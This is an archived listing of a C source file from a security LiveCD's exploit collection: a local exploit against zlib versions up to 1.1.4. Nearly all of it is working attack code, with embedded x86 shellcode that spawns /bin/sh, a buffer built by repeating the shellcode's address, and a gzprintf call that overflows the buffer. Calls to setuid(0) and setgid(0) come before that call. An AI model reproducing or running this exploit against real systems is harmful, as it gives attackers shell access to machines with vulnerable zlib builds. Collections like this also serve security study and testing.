home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / packer / zlib / zlib.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  67 lines
  1.  
  2. C local exploit for zlib <= 1.1.4
  3. /      just for fun..not for root :)
  4. \
  5. /   Usage: gcc -o zlib zlib.c -lz
  6. \
  7. /   by CrZ [crazy_einstein@yahoo.com] lbyte
  8. [lbyte.void.ru]
  9. */
  10.  
  11.  
  12. #include <zlib.h>
  13. #include <errno.h>
  14. #include <stdio.h>
  15.  
  16.  
  17. int main(int argc, char **argv) {
  18.         char shell[]=
  19.                 "\x90\x90\x90\x90\x90\x90\x90\x90"
  20.                 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  21.                 "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
  22.                 "\xc0\x88\x43\x07\x89\x5b\x08\x89"
  23.                 "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
  24.                 "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
  25.                 "/bin/sh";
  26.         gzFile f;
  27.         int ret;
  28.         long xret;
  29.         char cret[10];
  30.         char badbuff[10000];
  31.         int i;
  32.  
  33.         sprintf(badbuff,"%p",shell);
  34.         sscanf(badbuff,"0x%x",&xret);
  35.  
  36.         printf("[>] exploiting...\n");
  37.  
  38.         if(!(f = gzopen("/dev/null", "w"))) {
  39.                 perror("/dev/null");
  40.                 exit(1);
  41.         }
  42.  
  43.         printf("[>] xret = 0x%x\n",xret);
  44.  
  45.  
  46. sprintf(cret,"%c%c%c%c",(xret&0xff)+4,(xret>>8)&0xff,
  47.  
  48. (xret>>16)&0xff,(xret>>24)&0xff);
  49.  
  50.         bzero(badbuff,sizeof(badbuff));
  51.  
  52.         for(i=0;i<5000;i+=4) strcat(badbuff,cret);
  53.  
  54.         setuid(0);
  55.         setgid(0);
  56.         ret = gzprintf(stderr, "%s", badbuff );
  57.         setuid(0);
  58.         setgid(0);
  59.         printf(">Sent!..\n");
  60.         printf("gzprintf -> %d\n", ret);
  61.         ret = gzclose(f);
  62.         printf("gzclose -> %d [%d]\n", ret, errno);
  63.  
  64.         exit(0);
  65. }
  66.  
  67.